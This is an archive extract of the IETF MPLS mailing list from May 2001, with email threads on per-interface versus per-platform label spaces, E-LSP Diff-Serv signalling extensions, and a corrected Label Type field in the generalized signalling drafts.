	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA10542
	for <mpls-archive@lists.ietf.org>; Tue, 1 May 2001 17:21:28 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknej12353;
	Tue, 1 May 2001 21:19:40 GMT
Received: by mail-control.mail.uu.net 
	id QQknej19654
	for mpls-outgoing; Tue, 1 May 2001 21:19:06 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknej19634
	for <mpls@mail-control.mail.uu.net>; Tue, 1 May 2001 21:18:46 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknei03547
	for <mpls@UU.NET>; Tue, 1 May 2001 21:02:17 GMT
Received: from sandmail.sandburst.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQknei04311
	for <mpls@UU.NET>; Tue, 1 May 2001 21:02:17 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id D027994009; Tue,  1 May 2001 17:02:12 -0400 (EDT)
Message-ID: <3AEF2454.76A0A702@sandburst.com>
Date: Tue, 01 May 2001 17:02:12 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: David Charlap <david.charlap@marconi.com>
Cc: mpls@UU.NET
Subject: Re: Label Space
References: <20010501144033.95183.qmail@web14306.mail.yahoo.com> <3AEED3C3.DEC50A9A@marconi.com> <20010501115744.B6029@doit.wisc.edu> <3AEEF103.A5A31094@marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

David,

    Please see in-line comments, below.

You wrote:

> "James R. Leu" wrote:
> >
> >> The choice of per-interface or per-platform doesn't have to be a
> >> global setting.  Some interfaces can have a private label space
> >> while all the others share a platform label space.  It is possible
> >> (for instance) toput the Ethernet interfaces in the platform label
> >> space while giving each ATM interface its own label space.
> >
> > I agree, but I have never understood how hierarchical tunnels (such
> > as those used in RSVP bypass tunnels) would work over private label
> > spaces.
>
> Certain things (like LDP remote peers and bypass tunnels) become
> difficult with per-interface label spaces.  The routers must be able to
> deal with the possibility that the next-hop for an already-established
> LSP may jump from one interface to another.  When this happens, its
> label must also jump.  If the label is already in use on the new
> interface, however, then one or the other must be preempted.

Could be that the terminology we're using is ambiguous, but I'm not
sure I agree with the above.  One way that an LSR might deal with
the possibility of a next hop change for an LSP is to use liberal label
retention.  This will work even if the per-interface label space is in
use between two LSRs with multiple interfaces in common and the
only thing about the next hop that changes is the interface to use
for a specific LSP.  There is no requirement to avoid overlapping
label usage, in this case.

For LDP remote peers, labels are stacked and labels exchanged
by remote peers are only visible when all labels above them in the
stack have been popped.  In this case, the term 'interface' takes
on an interesting meaning.   One approach (I think the one you're
assuming and - possibly - the common interpretation), is to treat
all LSPs between two remote LSRs as if they are all part of the
same 'interface' - in which case the distinction between label
spaces (per-interface, and per-platform) is moot.   This approach
is the simplest, and - since the labels used are below the top level
label in forwarding packets - there is unlikely to be a hardware
reason why this cannot be supported.  If labels are stacked, then
assignment of labels are orthogonal at each stack level from the
sender's point of view.   If there is some reason why assignments
at differing stack levels are not orthogonal (possibly because of
private label semantics) from the receivers point of view, there
would only be a problem if the receiver somehow assigned an
innappropriate label for some label stacking context.  An LSR
has to deal with its own faults.

This approach is not very clean and has the potential to introduce
problems if the remote peers are trying to do different things.  For
example, if the peers are remote LDP peers, one may be sending
hello messages on each LSP it intends to use (as a group resource,
for instance) with the same LSR ID (including the per-platform
label space) and a different set of hello messages on other LSPs
to the same remote peer LSR (using a different LSR ID).  Possibly
the intent is to use different LDP sessions to control labels
established for different purposes.  This LSR would naturally tend
to expect labels it has advertised only on LSPs over which it is
also receiving hello messages from the remote peer (also using the
per-platform label space - since,  otherwise, multiple LDP session
would exist).  Suppose, however, that the other LSR is JPLIG and
is only sending hello messages over a single LSP since it was built
with the assumption that it could use any label it acquires from the
remote peer on any LSP to that remote peer irrespective of whether
or not it is keeping up a session over that LSP.  Oila` - there is a
problem.

I believe that label distribution paradigms (e.g. - MPLS BGP)
that rely on use of the per-platform label space, explicitly state
this as a requirement.  Perhaps I'm wrong, however, and they
simply count on the implementer to do the right thing.  :-)


>
>
> There are some ways around this problem, but they will not all be
> possible, depending on hardware.

A working LSR does not advertise the per-platform label space
over an interface on which it will not work.  A working peer does
not attempt to use per-platform labels on an interface over which
it is not currently maintaining a session with a per-platform peer.

As discussed (in some detail) above, this changes when label
stacking is in use - but then so does the hardware dependency.

>
>
> For instance, if the switch has a very large label space, but can only
> allocate a (relatively) small number of labels from the space, then it
> can allocate labels on the interfaces where they are used, and prevent
> the other interfaces from using the same label values (without actually
> installing those labels on those interfaces.)  This way, there won't be
> conflict if a label should happen to change interfaces.
>
> But some hardware may be unable to lock-off a label value without
> actually consuming the resources associated with that label.  Meaning
> some other scheme might be necessary.
>
> The problem is difficult, and I suspect there will be no single solution
> that will work well on all hardware platforms.  But I think there are
> solutions.
>
> >> I think it's also possible to have multiple separate label spaces
> >> that contain more than one interface each.  But I'm not sure of
> >> this.
> >
> > That would indeed handle the above question.  (assign the interfaces
> > that would be part of the bypass to the same label space, label
> > allocation becomes much simpler). I too am not sure it is a valid
> > use of label spaces.
>
> The only problem with this is that a switch that only has per-interface
> support in the hardware will have the same problems using this scheme as
> it will with per-platform label spaces.
>
> I mention this only because some hardware designs may make this a good
> idea.  For instance, if several ports are all wired to the same
> forwarding chip, it might make sense for them to share a single label
> space, even if they can't share that space with ports attached to other
> forwarding chips.

Which is an excellent example of why the per-platform label space
must be applied within a context of LDP session management - at
least whenever LDP is in use.  In this case, the LSR that you point
out could maintain this in two ways: by requiring that each interface
is supported by its own per-interface LSR peer and each such peer
advertises all of the same labels to all peers attached to any of these
interfaces (which will get ugly if the same LSR is attached to more
than one of these interfaces) or by maintaining a single LDP peer
session with any LSRs attached to any of these interfaces (which
allows it to advertise each label only once with respect to any peer)
and using the per-platform label space.

>
>
> -- David



From owner-mpls@UU.NET  Tue May  1 17:53:19 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA11092
	for <mpls-archive@lists.ietf.org>; Tue, 1 May 2001 17:53:19 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknel28783;
	Tue, 1 May 2001 21:50:58 GMT
Received: by mail-control.mail.uu.net 
	id QQknel23262
	for mpls-outgoing; Tue, 1 May 2001 21:50:31 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknel23232
	for <mpls@mail-control.mail.uu.net>; Tue, 1 May 2001 21:50:05 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknej10828
	for <mpls@UU.NET>; Tue, 1 May 2001 21:25:01 GMT
Received: from gw.tropicnetworks.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: gw.tropicnetworks.com [209.87.233.9])
	id QQknej20864
	for <mpls@UU.NET>; Tue, 1 May 2001 21:25:01 GMT
Received: from mail.tropicnetworks.com by gw.tropicnetworks.com
          via smtpd (for cmr0.ash.ops.us.uu.net [198.5.241.38]) with SMTP; 1 May 2001 21:25:00 UT
Received: from cr437225a ([10.1.2.190]) by mail.tropicnetworks.com
          (Netscape Messaging Server 3.6)  with SMTP id AAA2DB9;
          Tue, 1 May 2001 17:24:55 -0400
From: "Sudhakar Ganti" <sganti@tropicnetworks.com>
To: "Dimitry Haskin" <dhaskin@axiowave.com>, <mpls@UU.NET>
Cc: "Nabil Seddigh" <nabil.seddigh@tropicnetworks.com>,
        "Biswajit Nandy" <biswajit.nandy@tropicnetworks.com>
Subject: RE: MPLS Support of E-LSPs
Date: Tue, 1 May 2001 17:23:37 -0400
Message-ID: <LPEGKNJLDDNILOPDFLBAIEMHCBAA.sganti@tropicnetworks.com>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0015_01C0D263.75467180"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <EB5FFC72F183D411B382000629573429055F22@r2d2.axiowave.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0015_01C0D263.75467180
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

RE: MPLS Support of E-LSPsHi Dimitry,

Thanks for your comments on the draft. In general, the proposed extensions
are
useful when resource management decisions are to be made on the signaled
PSC.

The intention of this draft is to facilitate resource allocation at a finer
granularity
than class-type would allow, i.e, at the granularity of a OA. As such we
cannot
replace PSC with CT. However, it is not difficult to extend the E-LSP to
signal per-PSC or per-class-type resources.

Instead of replacing the PSC field completely with CT, one can include CT
and a couple
of bits indicating whether CT or PSC. This would enable signaling of
resources per PSC or per CT. Would this of interest to anyone?

The current L-LSP signaling is fine and does not need a separate L-LSP
object.

-Sudhakar
  -----Original Message-----
  From: Dimitry Haskin [mailto:dhaskin@axiowave.com]
  Sent: Monday, April 30, 2001 3:51 PM
  To: 'Sudhakar Ganti'; mpls@UU.NET
  Cc: Nabil Seddigh; Biswajit Nandy
  Subject: RE: MPLS Support of E-LSPs


  Sudhakar,

  Thanks for the draft. The proposed extensions will provide a needed
signaling support for the Diff-Serv's Uniform Tunneling model described in
draft-ietf-mpls-diff-ext-09.txt.

  To make your proposal consistent with the Class-Type concept of
draft-ietf-mpls-diff-te-reqts-00.txt, I would suggest to replace the PSC
field of the proposed Traffic Profile with a 4-bit Class-Type (CT) field. In
addition if your allow the ELSP Object to carry resource requirements for
L-LSP also (you'd need to rename the object) there would be no need for the
CLASSTYPE Object defined in draft-ietf-mpls-diff-te-ext-01.txt.

  Dimitry

  -----Original Message-----
  From: Sudhakar Ganti [mailto:sganti@tropicnetworks.com]
  Sent: Monday, April 30, 2001 12:39 PM
  To: mpls@UU.NET
  Cc: Nabil Seddigh; Biswajit Nandy
  Subject: MPLS Support of E-LSPs



  Hello,

  The following draft is available in the IETF draft
  repository that extends E-LSP signaling:

  Title: MPLS Support of Differentiated Services using E-LSP
  Authors: S.Ganti, N.Seddigh, B.Nandy
  URL:
  http://www.ietf.org/internet-drafts/draft-ganti-mpls-diffserv-elsp-00.txt

  The current E-LSP approach allows multiple Ordered
  Aggregates  (OAs)  to  be carried  by  a  single
  LSP. The  existing  E-LSP specification only supports
  collective bandwidth signalling for all the OAs in
  an E-LSP. However, there exist uses of the E-LSP
  approach where it is desirable to support bandwidth
  signalling on a per-OA or per-PSC  basis.
  This draft extends the original E-LSP approach by
  defining extensions to support per-OA signalling.
  The extensions are proposed  for  both RSVP and CR-LDP.

  Please comment on the same. Thanks

  -Sudhakar
  ------------
  Dr. Sudhakar Ganti
  Technical Specialist
  Tropic Networks Inc,
  Kanata, Ontario, Canada


------=_NextPart_000_0015_01C0D263.75467180
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>RE: MPLS Support of E-LSPs</TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4613.1700" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D614423617-01052001>Hi=20
Dimitry,</SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D614423617-01052001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D614423617-01052001>Thanks=20
for your comments on the draft. In general, the proposed extensions=20
are</SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D614423617-01052001>useful=20
when resource management decisions are to be made on the signaled=20
PSC.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D614423617-01052001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D614423617-01052001></SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D614423617-01052001>The=20
intention of this draft is to facilitate resource allocation at a finer=20
granularity</SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D614423617-01052001>than=20
class-type would allow, i.e, at the granularity of a OA. As such we=20
cannot</SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D614423617-01052001>replace PSC with CT. However, it is not =
difficult to=20
extend the E-LSP to</SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D614423617-01052001>signal=20
per-PSC or per-class-type resources. </SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D614423617-01052001>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D614423617-01052001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D614423617-01052001>Instead of replacing the PSC field completely =
with=20
CT,&nbsp;one can include CT and a couple</SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D614423617-01052001>of=20
bits </SPAN></FONT><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D614423617-01052001>indicating whether CT or PSC. This would =
enable=20
signaling of </SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D614423617-01052001>resources per PSC or per CT. Would this of =
interest to=20
anyone?</SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D614423617-01052001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D614423617-01052001>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D614423617-01052001>The=20
current L-LSP signaling is fine and does not need </SPAN></FONT><FONT =
face=3DArial=20
color=3D#0000ff size=3D2><SPAN class=3D614423617-01052001>a separate =
L-LSP=20
object.</SPAN></FONT></DIV></SPAN></FONT></SPAN></FONT><FONT =
face=3DArial=20
color=3D#0000ff size=3D2><SPAN =
class=3D614423617-01052001></SPAN></FONT></DIV></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D614423617-01052001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D614423617-01052001>-Sudhakar</SPAN></FONT></DIV>
<BLOCKQUOTE dir=3Dltr style=3D"MARGIN-RIGHT: 0px">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> Dimitry Haskin=20
  [mailto:dhaskin@axiowave.com]<BR><B>Sent:</B> Monday, April 30, 2001 =
3:51=20
  PM<BR><B>To:</B> 'Sudhakar Ganti'; mpls@UU.NET<BR><B>Cc:</B> Nabil =
Seddigh;=20
  Biswajit Nandy<BR><B>Subject:</B> RE: MPLS Support of=20
  E-LSPs<BR><BR></FONT></DIV>
  <P><FONT size=3D2>Sudhakar,</FONT> </P>
  <P><FONT size=3D2>Thanks for the draft. The proposed extensions will =
provide a=20
  needed signaling support for the Diff-Serv's Uniform Tunneling model =
described=20
  in draft-ietf-mpls-diff-ext-09.txt.</FONT></P>
  <P><FONT size=3D2>To make your proposal consistent with the Class-Type =
concept=20
  of draft-ietf-mpls-diff-te-reqts-00.txt, I would suggest to replace =
the PSC=20
  field of the proposed Traffic Profile with a 4-bit Class-Type (CT) =
field. In=20
  addition if your allow the ELSP Object to carry resource requirements =
for=20
  L-LSP also (you'd need to rename the object) there would be no need =
for the=20
  CLASSTYPE Object defined in =
draft-ietf-mpls-diff-te-ext-01.txt.</FONT></P>
  <P><FONT size=3D2>Dimitry</FONT> </P>
  <P><FONT size=3D2>-----Original Message-----</FONT> <BR><FONT =
size=3D2>From:=20
  Sudhakar Ganti [<A=20
  =
href=3D"mailto:sganti@tropicnetworks.com">mailto:sganti@tropicnetworks.co=
m</A>]</FONT>=20
  <BR><FONT size=3D2>Sent: Monday, April 30, 2001 12:39 PM</FONT> =
<BR><FONT=20
  size=3D2>To: mpls@UU.NET</FONT> <BR><FONT size=3D2>Cc: Nabil Seddigh; =
Biswajit=20
  Nandy</FONT> <BR><FONT size=3D2>Subject: MPLS Support of E-LSPs</FONT> =
</P><BR>
  <P><FONT size=3D2>Hello,</FONT> </P>
  <P><FONT size=3D2>The following draft is available in the IETF =
draft</FONT>=20
  <BR><FONT size=3D2>repository that extends E-LSP signaling:</FONT> =
</P>
  <P><FONT size=3D2>Title: MPLS Support of Differentiated Services using =

  E-LSP</FONT> <BR><FONT size=3D2>Authors: S.Ganti, N.Seddigh, =
B.Nandy</FONT>=20
  <BR><FONT size=3D2>URL:</FONT> <BR><FONT size=3D2><A target=3D_blank=20
  =
href=3D"http://www.ietf.org/internet-drafts/draft-ganti-mpls-diffserv-els=
p-00.txt">http://www.ietf.org/internet-drafts/draft-ganti-mpls-diffserv-e=
lsp-00.txt</A></FONT>=20
  </P>
  <P><FONT size=3D2>The current E-LSP approach allows multiple =
Ordered</FONT>=20
  <BR><FONT size=3D2>Aggregates&nbsp; (OAs)&nbsp; to&nbsp; be =
carried&nbsp;=20
  by&nbsp; a&nbsp; single</FONT> <BR><FONT size=3D2>LSP. The&nbsp; =
existing&nbsp;=20
  E-LSP specification only supports</FONT> <BR><FONT size=3D2>collective =
bandwidth=20
  signalling for all the OAs in</FONT> <BR><FONT size=3D2>an E-LSP. =
However, there=20
  exist uses of the E-LSP</FONT> <BR><FONT size=3D2>approach where it is =
desirable=20
  to support bandwidth</FONT> <BR><FONT size=3D2>signalling on a per-OA =
or=20
  per-PSC&nbsp; basis.</FONT> <BR><FONT size=3D2>This draft extends the =
original=20
  E-LSP approach by</FONT> <BR><FONT size=3D2>defining extensions to =
support=20
  per-OA signalling.</FONT> <BR><FONT size=3D2>The extensions are =
proposed&nbsp;=20
  for&nbsp; both RSVP and CR-LDP.</FONT> </P>
  <P><FONT size=3D2>Please comment on the same. Thanks</FONT> </P>
  <P><FONT size=3D2>-Sudhakar</FONT> <BR><FONT =
size=3D2>------------</FONT>=20
  <BR><FONT size=3D2>Dr. Sudhakar Ganti</FONT> <BR><FONT =
size=3D2>Technical=20
  Specialist</FONT> <BR><FONT size=3D2>Tropic Networks Inc,</FONT> =
<BR><FONT=20
  size=3D2>Kanata, Ontario, Canada</FONT> =
</P></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0015_01C0D263.75467180--



From owner-mpls@UU.NET  Tue May  1 18:06:23 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA11295
	for <mpls-archive@lists.ietf.org>; Tue, 1 May 2001 18:06:23 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknem20182;
	Tue, 1 May 2001 22:04:32 GMT
Received: by mail-control.mail.uu.net 
	id QQknem00275
	for mpls-outgoing; Tue, 1 May 2001 22:03:57 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknem29977
	for <mpls@mail-control.mail.uu.net>; Tue, 1 May 2001 22:03:45 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknej00164
	for <mpls@uu.net>; Tue, 1 May 2001 21:23:29 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQknej26894
	for <mpls@uu.net>; Tue, 1 May 2001 21:23:29 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id RAA10350 for mpls@uu.net; Tue, 1 May 2001 17:23:28 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknej20219
	for <mpls@mail-control.mail.uu.net>; Tue, 1 May 2001 21:22:47 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknei03055
	for <mpls@uu.net>; Tue, 1 May 2001 21:04:44 GMT
Received: from exchange01.movaz.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [64.47.82.134])
	id QQknei06686
	for <mpls@uu.net>; Tue, 1 May 2001 21:04:44 GMT
Received: from nfloat.movaz.com ([64.47.82.152]) by exchange01.movaz.com with Microsoft SMTPSVC(5.0.2195.1600);
	 Tue, 1 May 2001 17:02:02 -0400
Message-Id: <4.3.2.7.2.20010501165812.02e29bc0@mail.labn.net>
X-Sender: lb@mo-ex1
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 01 May 2001 17:04:33 -0400
To: "Saha, Sayandeb" <ssaha@netplane.com>
From: Lou Berger <lberger@movaz.com>
Subject: Re: CR_LDP Label Set question.
Cc: mpls@UU.NET, ccamp@ops.ietf.org
In-Reply-To: <87009604743AD411B1F600508BA0F95971BAA6@XOVER.dedham.mindsp
 eed.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-OriginalArrivalTime: 01 May 2001 21:02:02.0921 (UTC) FILETIME=[F8908990:01C0D281]
Sender: owner-mpls@UU.NET
Precedence: bulk

See below.

At 03:57 PM 4/25/01, Saha, Sayandeb wrote:
>Hi,
>[...]
>       Label Type: 8 bits
>
>          Indicates the type and format of the labels carried in the TLV.
>          Values match the TLV type of the appropriate Label TLV.
>
>       How can a size of 8 bits for Label Type field suffice when clearly the
>tlv types are
>       much bigger in size like 0x0905 which require 12 bits.
>
>       Does this suggest the use of only the last octet of tlv_type in the
>Label Type field??
>
>-sayan

No, it suggests a bug in the documents.  It's been fixed a new version has 
been submitted and is available at:


         http://www.labn.net/docs/draft-ietf-mpls-generalized-signaling-04.txt
         http://www.labn.net/docs/draft-ietf-mpls-generalized-cr-ldp-03.txt
         http://www.labn.net/docs/draft-ietf-mpls-generalized-rsvp-te-03.txt

Good catch & thanks,

Lou




From owner-mpls@UU.NET  Tue May  1 19:27:52 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA12331
	for <mpls-archive@lists.ietf.org>; Tue, 1 May 2001 19:27:52 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkner26205;
	Tue, 1 May 2001 23:25:51 GMT
Received: by mail-control.mail.uu.net 
	id QQkner14548
	for mpls-outgoing; Tue, 1 May 2001 23:24:47 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkner14525
	for <mpls@mail-control.mail.uu.net>; Tue, 1 May 2001 23:24:28 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkner22752
	for <mpls@uu.net>; Tue, 1 May 2001 23:23:16 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkner21918
	for <mpls@uu.net>; Tue, 1 May 2001 23:23:16 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id TAA18508 for mpls@uu.net; Tue, 1 May 2001 19:23:15 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkner13948
	for <mpls@mail-control.mail.uu.net>; Tue, 1 May 2001 23:18:57 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkner08356
	for <mpls@UU.NET>; Tue, 1 May 2001 23:16:50 GMT
Received: from mother.pmc-sierra.bc.ca by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: mother.pmc-sierra.bc.ca [216.241.224.12])
	id QQkner12223
	for <mpls@UU.NET>; Tue, 1 May 2001 23:16:49 GMT
Received: (qmail 9648 invoked by uid 104); 1 May 2001 23:16:48 -0000
Received: from Shahram_Davari@pmc-sierra.com by mother with qmail-scanner-0.93 (uvscan: v4.0.70/v4074. . Clean. Processed in 1.499938 secs); 01/05/2001 16:16:47
Received: from unknown (HELO plymouth.pmc-sierra.bc.ca) (134.87.114.227)
  by mother.pmc-sierra.bc.ca with SMTP; 1 May 2001 23:16:46 -0000
Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251])
	by plymouth.pmc-sierra.bc.ca (dave/8.11.2) with ESMTP id f41NGlK19533;
	Tue, 1 May 2001 16:16:47 -0700 (PDT)
Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2653.19)
	id <KBM8MM3X>; Tue, 1 May 2001 16:18:53 -0700
Message-ID: <9DC5E2ABE65BD54CA9088DA3194461D6037A6C06@BBY1EXM01>
From: Shahram Davari <Shahram_Davari@pmc-sierra.com>
To: "'David Charlap'" <david.charlap@marconi.com>, mpls@UU.NET
Subject: RE: Label Space
Date: Tue, 1 May 2001 14:02:44 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi David,


> For instance, if the switch has a very large label space, but can only
> allocate a (relatively) small number of labels from the space, then it
> can allocate labels on the interfaces where they are used, and prevent
> the other interfaces from using the same label values 
> (without actually
> installing those labels on those interfaces.)  This way, 
> there won't be
> conflict if a label should happen to change interfaces.
> 
> But some hardware may be unable to lock-off a label value without
> actually consuming the resources associated with that label.  Meaning
> some other scheme might be necessary.

I think all affected interfaces must fully install the platform labels and their NHLFEs. The lock-off applies only to the label distribution by those interfaces not to the label forwarding. This is because when an interface receives a packet with per-platform label, it must do a lookup to determine how to forward that packet, even if this label was distributed by another interface. So you need to install the ILM and NHLFE for every per-platform label as well as every per-interface label on those interfaces. For the per-platform labels the software will copy the corresponding NHLFE to all interfaces.

Another method is to have a central ILM/NHLFE for the per-platform labels, and check the incoming label against that table fist, if there was no match then check it against per-interface label ILM/NHLFE. The advantage is you save memory, because the NHLFE is not duplicated to each interface, but the catch is that you need 2 lookups per label.

 
> I mention this only because some hardware designs may make this a good
> idea.  For instance, if several ports are all wired to the same
> forwarding chip, it might make sense for them to share a single label
> space, even if they can't share that space with ports 
> attached to other
> forwarding chips.
> 
> -- David
> 

This is possible, because as per RFC-3031, you can have multiple per-platform label spaces. 


Yours,
-Shahram



From owner-mpls@UU.NET  Tue May  1 19:49:34 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA12529
	for <mpls-archive@lists.ietf.org>; Tue, 1 May 2001 19:49:33 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknet13575;
	Tue, 1 May 2001 23:47:38 GMT
Received: by mail-control.mail.uu.net 
	id QQknet16720
	for mpls-outgoing; Tue, 1 May 2001 23:46:58 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknet16712
	for <mpls@mail-control.mail.uu.net>; Tue, 1 May 2001 23:46:47 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknet06559
